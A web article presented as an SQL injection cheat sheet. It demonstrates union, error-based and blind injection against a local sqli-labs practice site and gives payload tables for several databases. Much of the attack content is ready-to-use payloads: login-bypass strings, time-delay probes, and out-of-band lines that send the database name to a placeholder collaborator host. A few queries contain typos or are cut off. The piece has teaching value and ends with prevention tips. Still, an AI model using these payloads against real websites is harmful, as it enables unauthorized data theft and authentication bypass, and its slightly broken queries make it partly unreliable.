Ever wanted to get the best discounts? Get up to 20% off. View offers


Disclosure: Hackr.io is supported by its audience. When you purchase through links on our site, we may earn an affiliate commission.



SQL Injection Cheat Sheet [Ultimate Guide]

Posted in SQL
SQL Injection Cheat Sheet [Ultimate Guide]

Cyberattack risks are rampant in 2022. Such attacks compromise the integrity and reliability of valuable data, making cybersecurity more vital now than ever. A common type of cyberattack is the SQL injection, which manipulates the database and tries to access stored information. This attack is more prevalent if your website stores crucial user information.

IT professionals must learn how to analyze tampered data, including learning about useful facts and shortcuts. That’s why we created this SQL injection cheat sheet for your reference. In it, you’ll find common SQL injection commands, an SQL injection code list, and much more.

Use this SQL injection attack cheat sheet to learn about different variants of the SQL Injection vulnerability.

But before we proceed, let us discuss SQL injection attacks.

 

What Is an SQL Injection Attack?

SQL injection is also referred to as SQLi. In an SQLi injection attack, a prevalent cyberattack vector injects malicious SQL code to deliberately attack, access, and modify the backend database of a website.

In this attack, the hacker tries to access confidential data, such as bank details, personal information, username, passwords, and more. Once they access the data, they may change it or steal it, causing immense security damage and risk to your business and clients.

Next, let’s take a look at different types of SQL injections so you can better understand how this attack works and the possible places from where the attacker can hit your database.

 

Different Types of SQL Injection Attacks

Here are some of the different types of SQL injection attacks.

  • In-band SQLi (Classic)The attacker uses the same communication channel to launch the attacks and gather the results. This is one of the most common SQLi attacks, as it is easy to implement. There are also a couple of sub-variations of in-band SQLi attacks:
  • Error-based SQLiThe attacker performs some actions on the database, producing error messages. Then, they can extract data using these error messages, such as the database structure.

  • Union-based SQLi: This technique works using the UNION SQL operator, which combines multiple select statements to get a single HTTP response containing data that is beneficial to the attacker.
  • Inferential SQLi (Blind)In this type of attack, the attacker sends SQL injection payloads of data to the server and analyzes the response and behavior of the server to know the structure of the database. Unlike with the in-band SQLi, the data is not transferred from the website's database to the attacker. Thus, one cannot see the extracted data in-band. Blind SQL injections are slower as they rely on the server's response and behavioral patterns. Keep the following sub-attacks in mind when conceptualizing a blind SQL injection cheat sheet:
  • Boolean: The attacker sends an SQL query to the database so the application will return the data depending on whether the query is true or false. This result also impacts the HTTP response and adds the information in the HTTP response that the attacker uses.

  • Time-based: The attacker sends an SQL query to the database to make the database wait before reacting. The attacker will analyze the time taken by the database. Then based on the result, an HTTP response will be generated instantly or after a waiting period used by the attacker.
  • Out-of-band SQLi: This attack will only work when certain features are enabled on the database server. Hackers perform out-of-band SQLi as a last resort when the above two types of attacks won’t work. This attack counts on the server’s capacity for creating DNS or HTTP requests to transfer data to an attacker.

Now, we will look at some examples of SQL injection attacks.

Examples of SQL Injection

For these examples, we are using the SQLi-lab series from Audi1, whose source code you may find here to recreate the SQLi attacks. The primary purpose is to access data stored within the database.

Moving on, we’ll offer a union SQL injection cheat sheet that will use the backend SQL statement to fit the query. This means that the SQLi attacking process varies. Two essential things assisting SQLi attack vectors on any application are as follows:

  • Displayed SQL error.
  • Displayed SQL output.

Union-based SQLi

Union-based SQLi is an in-band type of SQLi and the simplest one, as the attacker can easily understand the backend query from SQL errors and can see the query's output.

The website looks like it has no injected code, as shown below:

You can easily impact this website using union-based SQLi.

First, we will append ‘?id=1’ in the URL to get a normal result:

URL: http://localhost:8081/sqli-labs/Less-1/?id=1

 

The website worked normally. But now, we will add malicious code to hack the website.

First, visualize what the developer might have used at the back of the application. Here, we assume that the developer might have used the following SQL statement structure to hit and try the method.

 

SELECT <col_1>, <col_2>, ..., <col_n> FROM <database_name>.<table_name> WHERE <username> = '<user_input>' AND <password> = '<user_password>' LIMIT 0,1

But, make sure that you have sound knowledge of SQL before continuing.

In the above example, the words used in angular brackets are not confirmed yet. The remaining part is the syntax and language keywords that might vary depending on the type of database.

Now, we will break the SQL statement by adding a single inverted comma (‘), a double inverted comma (“), or an escape character (a backslash (\) in SQL).

Generally, in SQL statements, single or double inverted commas enclose the user input strings. But if we use any one of these in between the query, it will unbalance the SQL statement and cause an error on the screen.

URL: localhost:8081/sqli-labs/Less-1/?id=1\

 

As you can see, you will get an error. So, you must check what symbol (‘,’’, \) has caused this error. Now, we will insert a malicious SQL query in the simple argument. But first, we must make sure that the code is balanced to be executed.

For example, if the developer has used a bracket, we must also add a bracket to balance the code. You can also add the commenting character for balancing the statement.

URL: localhost:8081/sqli-labs/Less-1/?id=1’–+

 

To balance the code, you need to know the number of columns of the table that will help you dump your query output after taking union with the original output.

To find out the number of columns, you can use the ‘ORDER BY’ clause, which orders (asc/dsc) the entries in the table based on a given column number. But if we provide a column number more than the actual total number in the output, you will get an error. You can use the ‘ORDER BY’ clause as shown below.

 

SELECT col1 FROM table1 ORDER BY 1

The above query will sort the query output on column number 1.

To find the maximum number of columns to get a successful result, you need to start from smaller to larger. For this website, we have used the maximum number of columns: three.

URL: localhost:8081/sqli-labs/Less-1/?id=1’+order+by+3–+

 

In the above image, note that ‘%27’ in the URL is the URL encoded for a single inverted comma (‘), and ‘+’ is used for a space. We have received an error for the maximum column number exceeded. Now, we will try for column number 4.

URL: localhost:8081/sqli-labs/Less-1/?id=1’+order+by+4–+

After replacing the ‘ORDER BY’ clause with the ‘UNION’ clause, we have a place to dump data on the screen.

URL: localhost:8081/sqli-labs/Less-1/?id=1’+union+select+1,2,3–+

Now, we have hardcoded the column values to be unioned, to see if the values are being dumped.

In the two-table union, the number of columns of both tables should be equal. But here, it is three. We have replaced the valid id with an invalid id to display the data. Now, we have only one row left after the union that will be the output of our injected query.

 

URL: localhost:8081/sqli-labs/Less-1/?id=-1’+union+select+1,2,3–+

Here, we have used -1 to make the id invalid, and hence our data which is ‘2’ and ‘3’, is now being displayed instead of the original data. We will now use the database functions to extract the information from the database.

URL: localhost:8081/sqli-labs/Less-1/?id=-1’+union+select+1,database(),3–+

In the above URL, we have used the ‘database()’ function instead of ‘2’ in the injected query for getting the current database name, here ‘security’. Below, we have mentioned some common SQL functions to extract the information.

  • version(): to get the current version of SQL.
  • @@datadir: to get the directory where the SQL database is located.
  • User () or current_user: to get the user who created or manages the database.

Suppose you want to extract the table names, column names, and fields’ information. In that case, you can use specific tables from the database named ‘information_schema’ that maintains the meta-data of all user-created databases, tables, and columns.

We will use the below query to extract the tables from the current database.

SELECT table_name FROM information_schema.tables from table_schema=database() LIMIT 0,1;

This will return the table names in the current database, incrementing the first argument after the LIMIT clause.

URL: localhost:8081/sqli-labs/Less-1/?id=-1’+union+select+1,table_name,3+from+information_schema.tables+where+table_schema=database()+limit+0,1–+

 

You can also use the ‘columns’ table in ‘information_schema’ database to get the column names from the specified table.

SELECT column_name FROM information_schema.columns WHERE table_name = <specific_table_name> LIMIT 0,1;

Like table names, you can also get the column names from specified table and can iterate through all rows of table ‘columns:’:

URL: localhost:8081/sqli-labs/Less-1/?id=-1’+union+select+1,column_name,3+from+information_schema.columns+where+table_name=‘emails’+limit+0,1–+

 

The first column name of table ‘emails’ from the database named ‘security’ is ‘id’. Similarly, the second column name is ‘email_id’.

Now, we will inject the following SQL statement.

SELECT email_id FROM emails LIMIT 0,1

After this, you will get the output as shown below.

URL: localhost:8081/sqli-labs/Less-1/?id=-1’+union+select+1,email_id,3+from+emails+limit+0,1–+

 

In this way, you can inject queries to get access to data stored in the database.

Error-Based SQLi

This type of attack provides you with an error message instead of the output, so you need to inject the malicious code in the SQL errors only. See the example image below:

URL: localhost:8081/sqli-labs/Less-5/?id=1

 

To display the SQL error on the screen, you can use single or double quotes.

URL: localhost:8081/sqli-labs/Less-5/?id=1’

 

The approach is the same as the union-based SQLi. The only difference is that you can only run specific queries. The statement will be a little complex to trigger an SQL error to dump the query’s output with it.

 

SELECT 1 from (SELECT COUNT(*), CONCAT(0x3a, 0x3a, (SELECT database()), 0x3a, 0x3a, floor( rand() * 2 ) )a FROM information_schema.columns GROUP BY a ) b;

We will break the above query into subqueries to understand them better:

The malicious code is ‘SELECT database()’, which displays the current database name but in the SQL error. Here, we will take multiple rows that may be duplicated and try to fit them in one package or view. In case of duplicate rows, you will get a run-time error by SQL for inserting duplicates and the desired output.

Once you understand how this complex query works, you can replace the ‘SELECT database()’ part with more extensive queries. We have explained the subqueries of the above complex query.

 

  • SELECT database() :

To get the name of the current database. You can replace it with the other queries.

  • floor(rand() * 2) :

To get a random number, either a zero or a one.

  • CONCAT(0x3a, 0x3a, (SELECT database()), 0x3a, 0x3a, floor( rand() * 2 ) ) :

It will concatenate two colons on the left and two colons on the right of the database name and randomly 0 or 1 at the end of it.

  • SELECT COUNT(*), CONCAT(0x3a, 0x3a, (SELECT database()), 0x3a, 0x3a, floor( rand() * 2 ) )a FROM information_schema.columns GROUP BY a

 

The query part between the initial ‘select’ and ‘from’ will be iterated several times equal to the number of rows in the columns table from database information_schema. We have iterated it intentionally to generate duplicate rows to generate runtime errors. This part of the query will select the count of rows as per the grouping by ‘a', which is an alias of the previously concatenated result, and the concatenated part.

 

SELECT 1 from (SELECT COUNT(*), CONCAT(0x3a, 0x3a, (SELECT database()), 0x3a, 0x3a, floor( rand() * 2 ) )a FROM information_schema.columns GROUP BY a ) b;

Now, we have just nested the previous query into another select statement to get one column. We do not want the result it returns here, so we have hardcoded it to 1 as we only require the SQL error.

Also, there is a ‘b’ to give the alias inner statement of nested queries and return a single row.

URL: localhost:8081/sqli-labs/Less-5/?id=1’+and+(SELECT 1 from (SELECT COUNT(*), CONCAT(0x3a, 0x3a, (SELECT database()), 0x3a, 0x3a, floor(rand() * 2))a FROM information_schema.columns GROUP BY a)b)–+

 

If there are no duplicates, you will get the above error. We will ignore it and keep trying by refreshing the page.

URL: localhost:8081/sqli-labs/Less-5/?id=1’+and+(SELECT 1 from (SELECT COUNT(*), CONCAT(0x3a, x3a, (SELECT database()), 0x3a, 0x3a, floor(rand() * 2))a FROM information_schema.columns GROUP BY a)b)–+

In this way, you will get the name of the database between two colons on each side and you can also extract other data from the database.

 

Blind SQL Injection Cheat Sheet

The approach here is also the same but comes with a little additional trick.

URL: localhost:8081/sqli-labs/Less-8/?id=1’

 

As you examine the above image, you will see that there is no error message and no output from the SQL query. From here, you can inject the data. For this, we will use the sleep() function or boolean expression to get true or false results. We will do this in two different approaches as explained below.

Time Delay-Based:

Using the sleep() function, we will create a delay in the response of the SQL query with the specified time as a parameter.

Boolean-based:

You can also infer true or false outputs with some positive message if the query runs successfully or nothing. For that, you need to create a true statement first and check if you are getting a general message. Then, you can add our query to see if you are still getting the message which means it is true else false.

Now, our task is to convert the tables or databases to queries resulting in true or false. You can use the ‘substring()’ function to get a substring of a given string to create boolean queries. ‘Substring()’ function takes three parameters, original string, starting index of substring (indexing starts from one), and several characters for tokening.

 

substring(<original_string>, <starting_index>, <number_of_characters>)

 

For including the conditional statements, you can also use the ‘if()’ statements where the first parameter is the condition, second is the task for the true condition, and the third parameter is the task to be executed for the false condition.

 

if(<condition>, <query1>, <query2>)

 

So, we can iterate over alphabets or numbers to see if the conditions are met.

In this case, we already have the database name (‘security’), so we can use the below query:

 

if( (substring(database(), 0, 1) == ‘s’), sleep(5), null)

 

We have used the sleep function with the value 5. This will delay the database reply by 5 seconds, if the first character of the database name is ‘s’ and we do nothing else. In this case, you will get the delayed response by 5 seconds as planned.

URL: http://localhost:8081/sqli-labs/Less-8/?id=1’+and+if( (substring(database(),1,1) = ‘s’),sleep(5),null)–+

 

In boolean-based, you will either get a message or nothing at all. If you get the message, the query returns true else false.

 

1’ and (substring(database(), 1, 1) = ‘s’) --+

URL: localhost:8081/sqli-labs/Less-8/?id=1’+and+(substring(database(), 1, 1) = ‘s’)–+

 

This method is tricky, as you have to try every possibility, taking most of your time. Another less inefficient way is to use the ‘ascii()’ function for converting the chars into ascii code to compare numbers, and therefore you can use relational operators. if( (ascii(substring(database(), 0, 1)) = 115), sleep(5), null ).

 

SQL Injection Commands

Above, we’ve walked through some useful syntaxes while carrying out SQL injection attacks. Here are some common SQL injection commands:

String Concatenation

This command concatenates multiple strings into a single string.

Oracle

'hel'||'met'

Microsoft

'hel'+'met'

PostgreSQL

'hel'||'met'

MySQL

'hel' 'met' [Note the space between the two strings]

CONCAT('hel','met')

 

Substring

This command gives you the specified part of the string.

Oracle

SUBSTR('helmet', 4, 2)

Microsoft

SUBSTRING('helmet', 4, 2)

PostgreSQL

SUBSTRING('helmet', 4, 2)

MySQL

SUBSTRING('helmet', 4, 2)

 

Comments

This command removes the portion of the code from being executed.

Oracle

--comment

Microsoft

--comment

/*comment*/

PostgreSQL

--comment

/*comment*/

MySQL

#comment

-- comment [Note the space after the double dash]

/*comment*/

 

Database Version

To get the current version of the database.

Oracle

SELECT banner FROM v$version

SELECT version FROM v$instance

Microsoft

SELECT @@version

PostgreSQL

SELECT version()

MySQL

SELECT @@version

 

Database Contents

Here you can get details like database, columns, and other table details.

Oracle

SELECT * FROM all_tables

SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'

Microsoft

SELECT * FROM information_schema.tables

SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

PostgreSQL

SELECT * FROM information_schema.tables

SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

MySQL

SELECT * FROM information_schema.tables

SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

 

Conditional Errors

This command tests the boolean conditions.

Oracle

SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual

Microsoft

SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END

PostgreSQL

SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END

MySQL

SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')

 

Time Delays

This command creates a time delay while processing a query.

Oracle

dbms_pipe.receive_message(('a'),10)

Microsoft

WAITFOR DELAY '0:0:10'

PostgreSQL

SELECT pg_sleep(10)

MySQL

SELECT sleep(10)

 

DNS Lookup

This command helps you perform a DNS lookup for an external domain.

Oracle

The following technique leverages an XML external entity (XXE) vulnerability to trigger a DNS lookup.

SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual

Microsoft

exec master..xp_dirtree '//YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a'

PostgreSQL

copy (SELECT '') to program 'nslookup YOUR-SUBDOMAIN-HERE.burpcollaborator.net'

MySQL

The following techniques work on Windows only:

LOAD_FILE('\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\\a')

SELECT ... INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a'

Conclusion

SQL injection is illegal, but learning how to run all possible SQL injection attacks is a great way to test your website’s security.

You can use different approaches to SQL injection attacks to check the integrity and security of your website. So, you need to have deep knowledge of SQL to implement this attack internally. This SQL injection cheat sheet will help you to understand what type of scenarios you can test on your website.

Interested in learning more about SQL? Check out our list of best SQL tutorials!

FAQs

  1. What is an SQL Injection Cheat Sheet?

The SQL injection comes with all the necessary information, queries, and syntax that will help you to understand how to exploit the vulnerabilities of the SQL databases. The approaches may vary from version to version and database.  

  1. What Are Examples of SQL Injection Attacks?

Below are some examples of SQL injection attacks:

Login Bypassing: Login screens and forms containing potential SQL vulnerabilities can be bypassed using various SQLi.

 

  • admin’        #
  • admin”        #
  • admin’))        #
  • ‘ or 1=1        --+
  • ‘ or 1=1        #
  • " or "                " "
  • " or true        --
  • " or true        --+
  • ‘)) or true        -- -
  • admin'  or 1=1 or ''='
  • admin') or ('1'='1'--
  • admin') or '1'='1'/*
  • admin") or "1"="1
  • ') or ('1'='1        –

 

Union-Based: You can execute one or more queries and append their results to the original query in MySQL using the UNION keyword.

  • ‘ order by 1,sleep(10)        --+
  • ‘ union select @@version,sleep(10),3                --+
  • ‘ union select @@version,sleep(10),3,"'3'"#        --+

 

Use ’ union select 1,group_concat(column_name),3 from information_schema.column to get the column names.

 

Error-Based: You can implement the count, floor, and group functions to generate the error. You can use these functions if MySQL isn’t displaying output using UNION-based queries.

 

(select count(*), concat(0x3a,0x3a,(select database()),0x3a,0x3a, floor(rand()*2))a from information_schema.columns group by a)

 

Enumerating database,

‘ AND (select 1 from (select count(*), concat(0x3a,0x3a,(select database()),0x3

 

Blind: In Blind SQLi, we can never be sure whether the injection exists on the page or not. So, we need to proceed with other techniques.

 

If else based:

'  AND if((select database())='security', sleep(10), null)         --+

' AND if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)='e', sleep(10), null)         --+

 

Sleep-based:

'  and sleep(10)                          --+

';waitfor delay '0:0:10'                --+

'));waitfor delay '0:0:10'                --+

“  and sleep(10)                          --+

 

Boolean-based:

'  AND 1>2                                --+

'  AND 1=1                           --+

‘ AND (ascii(substr(database(),1,1))) <114        --+

‘ AND (ascii(substr((select column from information_schema.columns where t

 

Out-of-Band: When the results are limited then we need to opt for another Channel to inject the desired information.

 

select @@version into outfile '////127.0.0.1/tmp/results.txt';

select load_file(concat('\\\\',database(),'.<own_site>/tmp/result.txt'));

 

  1. What is Basic SQL Injection?

SQL injection is one of the most common cyber attacks. The attacker can alter the information stored within the database by injecting malicious code and compromising the integrity of the data.

  1. Is SQL Injection Illegal?

Yes, SQL injection is illegal because it gives cyber attackers access to crucial, private information in a database without the knowledge of the user. Hackers can implement this attack using different approaches, as discussed in this cheat sheet.

  1. How Can SQL Injection Be Prevented?

SQL injection can occur when software developers create dynamic database queries that require user input.

To avoid SQL injection attacks, either the developers stop writing dynamic queries or implement stronger security measures to protect user information and input.

Below are some methods to prevent SQL injection:

  • Use of prepared statements using parameterized queries
  • Stored procedures
  • Validation of the user input
  • Escaping all user-supplied input
  • Enforcing least privilege

     

People are also reading:

 

 

Sameeksha Medewar

Sameeksha Medewar

Sameeksha is a freelance content writer for more than half and a year. She has a hunger to explore and learn new things. She possesses a bachelor's degree in Computer Science. View all posts by the Author

Leave a comment

Your email will not be published
Cancel
TODAY'S OFFERS
close

Select from the best sales here

VIEW ALL DISCOUNTS